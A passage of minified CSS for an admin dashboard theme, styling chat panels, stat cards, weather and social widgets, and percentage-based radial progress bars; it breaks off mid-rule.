.chat-item .chat-content .box{display:inline-block;padding:10px;margin-bottom:3px;color:#343a40;background:#f6f8f9;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .chat-box .chat-list .chat-item .chat-time{display:block;font-size:10px;color:#4F5467;margin:5px 0 15px 65px}.card .chat-box .chat-list .chat-item.odd .chat-content{text-align:right;width:calc(100% - 0px)}.card .chat-box .chat-list .chat-item.odd .chat-content .box{clear:both;color:#fff;background:#137eff}.card .chat-box .chat-list .chat-item.odd .chat-time{text-align:right}.card .chat-box .chat-list .chat-item.odd+.odd{margin-top:0}.card .chat-box .chat-list .chat-item:first-child{margin-top:0}.card .chat-footer{position:relative;background-color:#fff}.card .chat-footer .input-wrap{padding-right:50px}.card .chat-footer .btn{position:absolute;top:10px;right:20px;width:35px;height:35px}.card .card-title{font-size:18px}.card .card-subtitle{font-weight:300;margin-bottom:10px;color:#afb5c1}.jvectormap-tip{border:none;font-family:'Nunito Sans', sans-serif;font-weight:700;padding:5px 10px;font-size:11px}.chart-line .ct-grid{stroke-dasharray:0;stroke:rgba(255,255,255,0.5)}.chart-line .ct-point{stroke-width:0}.chart-line .ct-line{stroke:#FFF;stroke-width:3px}.chart-shadow{transition:all 0.3s ease-in-out;filter:drop-shadow(0px 5px 2px rgba(43,43,43,0.2))}.card-blue,.card-green,.card-red,.card-yellow{position:relative;overflow:hidden}.card-blue:after,.card-green:after,.card-red:after,.card-yellow:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;z-index:1}.card-blue .card-block,.card-blue .card-block-big,.card-blue .card-block-small,.card-blue .card-body,.card-blue .card-footer,.card-blue .card-header,.card-green .card-block,.card-green .card-block-big,.card-green .card-block-small,.card-green .card-body,.card-green .card-footer,.card-green .card-header,.card-red .card-block,.card-red .card-block-big,.card-red .card-block-small,.card-red .card-body,.card-red .card-footer,.card-red .card-header,.card-yellow .card-block,.card-yellow .card-block-big,.card-yellow .card-block-small,.card-yellow .card-body,.card-yellow .card-footer,.card-yellow .card-header{position:relative;z-index:5}.card-red::after{background:#f5365c}.card-red .ct-line{stroke:#fff}.card-red .ct-grid{stroke:#f97f97}.card-blue::after{background:#007bff}.card-blue .ct-line{stroke:#fff}.card-blue .ct-grid{stroke:#4da3ff}.card-green::after{background:#2dce89}.card-green .ct-line{stroke:#fff}.card-green .ct-grid{stroke:#69deac}.card-yellow::after{background:#fb6340}.card-yellow .ct-line{stroke:#fff}.card-yellow .ct-grid{stroke:#fda08b}.proj-progress-card .progress{height:6px;overflow:visible;margin-bottom:10px}.proj-progress-card .progress .progress-bar{position:relative}.proj-progress-card .progress .progress-bar:after{content:"";background:#fff;position:absolute;right:-6px;top:-4px;border-radius:50%;width:15px;height:15px}.proj-progress-card .progress .progress-bar.bg-red:after{border:3px solid #f5365c}.proj-progress-card .progress .progress-bar.bg-blue:after{border:3px solid #007bff}.proj-progress-card .progress .progress-bar.bg-green:after{border:3px solid #2dce89}.proj-progress-card .progress .progress-bar.bg-yellow:after{border:3px solid #fb6340}@media only screen and (max-width: 992px){.proj-progress-card h6{margin-top:15px}.proj-progress-card .progress{margin-bottom:30px}}.sos-st-card h3{display:inline-block}.sos-st-card h3 i{color:#fff;font-size:18px;width:60px;height:60px;border-radius:50%;padding:12px 0;text-align:center;margin-right:15px;border:10px solid transparent;transition:all 0.3s ease-in-out}.sos-st-card h5{position:relative}.sos-st-card h5:after{content:"";background:#d2d2d2;position:absolute;top:-20px;right:-15px;width:1px;height:60px}.sos-st-card.facebook h3{color:#3b579d}.sos-st-card.facebook h3 i{background-color:#3b579d;border-color:#869cd2}.sos-st-card.twitter h3{color:#1da1f2}.sos-st-card.twitter h3 i{background-color:#1da1f2;border-color:#96d3f9}.sos-st-card.linkedin h3{color:#0177b4}.sos-st-card.linkedin h3 i{background-color:#0177b4;border-color:#37bafe}.sos-st-card.dribble h3{color:#ea4c89}.sos-st-card.dribble h3 i{background-color:#ea4c89;border-color:#f7bed4}.sos-st-card:hover h3 i{transform:scale(1.2) rotate(35deg)}@media only screen and (max-width: 768px){.sos-st-card h3 i{font-size:16px;width:35px;height:35px;padding:7px 0;margin-right:0;border-width:3px;margin-left:-10px}.sos-st-card h5:after{display:none}}.wather-card{overflow:hidden}.wather-card .wather-card-top{position:relative;overflow:hidden;min-height:200px;background:linear-gradient(to bottom, #7a9af5, rgba(90,179,243,0.5))}.wather-card .wather-card-top .wave{position:absolute;left:0;right:0;top:auto;bottom:0;z-index:1}.wather-card .wather-card-top .wave+.wave{z-index:2}.wather-card .wather-card-top .wave+.wave+.wave{z-index:3}.wather-card .wather-card-top .sun{background:#fff;position:absolute;top:50px;left:50px;width:30px;height:30px;border-radius:50%}.wather-card .wather-card-top .sun:after,.wather-card .wather-card-top .sun:before{content:"";width:100%;height:100%;border-radius:50%;position:absolute;box-shadow:inset 0 0 20px 5px rgba(255,255,255,0.4)}.wather-card .wather-card-top .sun:after{animation:sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .sun:before{animation:sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-star1,.wather-card .wather-card-top .w-star2{position:absolute;top:0;left:0;width:100%}.wather-card .wather-card-top .w-star1{animation:sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .w-star2{animation:sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-cloud{position:absolute;right:30px;top:60px;opacity:0;animation:w-cluod 15s linear infinite}@keyframes w-cluod{0%{opacity:0;transform:translate(0px, 0px)}20%{opacity:0.8;transform:translate(30px, -25px)}40%{opacity:1;transform:translate(0px, 0px)}60%{opacity:0.6;transform:translate(-30px, 25px)}80%{opacity:0.5;transform:translate(0px, 0px)}80%{opacity:0;transform:translate(0px, 0px)}}@keyframes sparcle{0%{opacity:1}50%{opacity:0}}@keyframes sunwawe{0%{transform:scale(1);opacity:1}100%{transform:scale(4);opacity:0}}.comp-card i{color:#fff;width:50px;height:50px;border-radius:5px;text-align:center;padding:17px 0;font-size:18px;text-shadow:0 6px 8px rgba(62,57,107,0.18);transition:all 0.3s ease-in-out}.comp-card:hover i{border-radius:50%}.proj-t-card{position:relative;overflow:hidden}.proj-t-card .pt-badge{color:#fff;margin-bottom:0;display:inline-block;padding:60px 50px 20px 20px;border-radius:50%;position:absolute;top:-45px;right:-35px;transition:all 0.3s ease-in-out;box-shadow:0 5px 7px 0 rgba(62,57,107,0.18)}.proj-t-card:hover .pt-badge{padding:65px 55px 30px 30px;text-shadow:0 3px 5px rgba(62,57,107,0.5);box-shadow:0 4px 4px 0 rgba(62,57,107,0.3)}.prod-p-card i{background-color:#fff;width:40px;height:40px;border-radius:50%;text-align:center;padding:11px 0;font-size:18px;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px rgba(62,57,107,0.2)}.prod-p-card:hover i{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:scale(0.9) translatey(5px)}.ticket-card .lbl-card{box-shadow:0 5px 4px -2px rgba(51,51,51,0.16);border-radius:5px;padding:5px 15px;color:#fff;display:inline-block}.analytic-card .analytic-icon{width:50px;height:50px;text-align:center;padding:17px 0;border-radius:50%;background-color:#fff;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.analytic-card:hover .analytic-icon{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:rotate(-15deg) translatey(5px)}.social-res-card .progress{height:6px}.product-progress-card .progress{height:6px}.product-progress-card .pp-cont{padding-left:15px;padding-right:15px;position:relative}.product-progress-card .pp-cont:after{content:"";background:#d2d2d2;width:1px;height:100%;position:absolute;top:0;left:-15px}.product-progress-card .pp-main>div:first-child .pp-cont:after{display:none}@media only screen and (max-width: 992px){.product-progress-card .pp-cont{margin-top:15px;margin-bottom:15px}.product-progress-card .pp-cont:after{display:none}}.social-card h2{text-shadow:0 8px 15px rgba(51,51,51,0.2);transition:all 0.3s ease-in-out}.social-card:hover h2{text-shadow:0 4px 4px rgba(51,51,51,0.2);transform:scale(0.9) translatey(5px)}.user-card{overflow:hidden}.user-card .user-img{border-radius:50%;display:flex;align-items:center;width:80px;height:80px;margin:0 auto;position:relative;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-img h5{margin:0 auto}.user-card .user-img .link-share{position:absolute;padding:4px 0;right:0;bottom:0;border-radius:50%;width:25px;height:25px;background:#fff;color:#666;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-sub-img{position:relative;margin:30px 0 10px;padding-top:30px}.user-card .user-sub-img>img{width:30px;cursor:pointer;margin:5px}.user-card .user-sub-img:after{content:"";width:30px;height:1px;background:#2b2b2b;position:absolute;top:0;right:calc(50% - 15px)}.user-card .f-btn{cursor:pointer;transition:all 0.3s ease-in-out}.user-card .f-btn a{transition:all 0.3s ease-in-out}.user-card .f-btn:hover{background-color:#99caff;box-shadow:inset 0 5px 7px -3px rgba(43,43,43,0.15)}.user-card .f-btn:hover a{color:#007bff}.soc-cont-card{color:#fff;position:relative;overflow:hidden}.soc-cont-card .soc-slider{margin-right:85px}.soc-cont-card .soc-cont-icon{color:#fff;font-size:50px;width:100px;text-align:center;position:absolute;right:0;top:20px}.soc-cont-card .num-block{background:#fff;color:#ef4153;padding:8px 15px;display:inline-block;margin:5px 0 10px;border-radius:5px;box-shadow:inset 0 1px 3px -1px rgba(43,43,43,0.25)}.soc-cont-card .num-block+.num-block{margin-left:15px}.soc-cont-card .num-block i{font-size:16px;opacity:1}.soc-cont-card .card-block{margin-bottom:20px;padding-bottom:10px}.soc-cont-card:after{content:"";background:rgba(255,255,255,0.5);height:20px;width:100%;position:absolute;bottom:0;left:0}@media only screen and (max-width: 575px){.soc-cont-card .soc-slider{margin-right:0}.soc-cont-card .soc-cont-icon{font-size:40px;width:50px;top:auto;bottom:35px}}.st-cir-card{position:relative;overflow:hidden}.st-cir-card .st-bt-lbl{font-size:60px;font-weight:700;opacity:0.3;position:absolute;bottom:-30px;right:-5px}.st-cir-card .st-cir-chart{position:relative}.st-cir-card .st-cir-chart h5{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.st-cir-card .ct-series-a .ct-slice-donut{stroke:#fff}.st-cir-card.card-red .ct-series-b path{stroke:#fa97ab}.st-cir-card.card-blue .ct-series-b path{stroke:#66b0ff}.st-cir-card.card-green .ct-series-b path{stroke:#7ee3b8}.st-cir-card.card-yellow .ct-series-b path{stroke:#fdb5a4}.prod-bar-card .pbc-chart{width:50px;margin:0 auto 10px}.prod-bar-card .radial-bar:after{box-shadow:0 0 3px #fff}.sale-card .s-chart{position:relative}.sale-card .s-chart .bottom-line{background:#ccc;position:absolute;width:80px;height:3px;bottom:30px;left:50%;transform:translatex(-50%)}.sale-card .radial-bar{margin:15px 0 35px}.sale-card .radial-bar>img{box-shadow:0 0 0 8px #fff}.sale-card .s-caption{width:20px;height:20px;border-radius:5px;display:inline-block;vertical-align:super;margin-right:5px}.sale-card .progress{height:5px}.sale-card .tot-rev-chart{position:relative;margin:0 auto}.sale-card .tot-rev-chart .ct-series-b path{stroke:#fff}.sale-card .tot-rev-chart .ct-series-a .ct-slice-donut{stroke:#fb6340}.sale-card .tot-rev-chart h3{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.new-cust-card img{border:2px solid #fff;box-shadow:0 5px 10px 0 rgba(43,43,43,0.2)}.new-cust-card h6{margin-bottom:0}.new-cust-card .align-middle{position:relative}.new-cust-card .align-middle .status{position:absolute;right:0;top:19px;font-size:13px}.new-cust-card .align-middle .status.active{width:10px;height:10px;border-radius:50%;background:#2dce89}.table-card .card-block{padding-left:0;padding-right:0;padding-top:0}.table-card .card-block .table>thead>tr>th{border-top:0}.table-card .card-block .table tr td:first-child,.table-card .card-block .table tr th:first-child{padding-left:20px}.table-card .card-block .table tr td:last-child,.table-card .card-block .table tr th:last-child{padding-right:20px}.table-card .card-block .table.without-header tr:first-child td{border-top:none}.table-card .p-status{width:10px;height:10px;border-radius:50%}.latest-update-card .card-block{padding-top:0}.latest-update-card .card-block .latest-update-box{position:relative}.latest-update-card .card-block .latest-update-box:after{content:"";position:absolute;background:#ebebeb;height:100%;width:3px;top:0;left:19px;z-index:1}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2}.latest-update-card .card-block .latest-update-box .update-meta .update-icon{width:30px;height:30px;border-radius:50%;text-align:center;padding:7px 8px;font-size:16px;color:#fff}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red{box-shadow:0 0 0 4px rgba(245,54,92,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue{box-shadow:0 0 0 4px rgba(0,123,255,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green{box-shadow:0 0 0 4px rgba(45,206,137,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow{box-shadow:0 0 0 4px rgba(251,99,64,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring{border-width:3px;width:15px;height:15px;padding:0;display:block;margin-left:13px;background:#fff}.latest-update-card .card-block .latest-update-box .update-meta i.update-icon{margin-left:4px;margin-right:19px}.latest-update-card .card-block .latest-update-box .update-meta img.update-icon{padding:0;width:40px;height:40px}@media only screen and (max-width: 575px){.latest-update-card .card-block .latest-update-box:after{display:none}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2;min-width:100%;text-align:left !important;margin-bottom:15px;border-top:1px solid #f1f1f1;padding-top:15px}}.testimonial-card .progress{height:5px}.testimonial-card .review-block .cust-img{width:50px;height:50px}.testimonial-card .review-block>div{padding-top:15px;padding-bottom:15px;margin-left:0;margin-right:0;padding-left:5px;padding-right:5px}.testimonial-card .review-block>div:hover{background-color:rgba(0,123,255,0.1)}.feed-card h6{margin-top:7px}.feed-card .feed-icon{color:#fff;border-radius:50%;width:30px;height:30px;text-align:center;padding:8px 9px}.chat-card .msg{margin-bottom:5px;display:inline-block;padding:10px;position:relative}.chat-card .msg img{width:60px;border-radius:5px;margin-bottom:5px;margin-top:5px;margin-right:10px}.chat-card .received-chat .msg{background:rgba(0,123,255,0.1);border-radius:0 5px 5px 5px;box-shadow:2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .received-chat .msg:after{content:"";position:absolute;left:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-bottom-color:rgba(0,123,255,0.1)}.chat-card .send-chat{text-align:right}.chat-card .send-chat .msg{background:rgba(45,206,137,0.1);border-radius:5px 0 5px 5px;box-shadow:-2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .send-chat .msg:after{content:"";position:absolute;right:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-right-color:rgba(45,206,137,0.1)}.radial-bar{position:relative;display:inline-block;border-radius:50%;background-color:transparent;margin-bottom:20px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;width:80px;height:80px;font-size:18px}.radial-bar:after,.radial-bar>img{display:inline-block;position:absolute;top:0;left:0;border-radius:50%;text-align:center;font-weight:500;color:#455a64}.radial-bar:after{content:attr(data-label);background-color:#fff;z-index:55}.radial-bar>img{z-index:102}.radial-bar:after,.radial-bar>img{width:56px;height:56px;margin-left:12px;margin-top:12px;line-height:56px}.radial-bar.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-50{background-image:linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-55{background-image:linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-60{background-image:linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-65{background-image:linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-70{background-image:linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-75{background-image:linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-80{background-image:linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-85{background-image:linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-90{background-image:linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-95{background-image:linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-100{background-image:linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-50{background-image:linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-55{background-image:linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-60{background-image:linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-65{background-image:linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-70{background-image:linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, 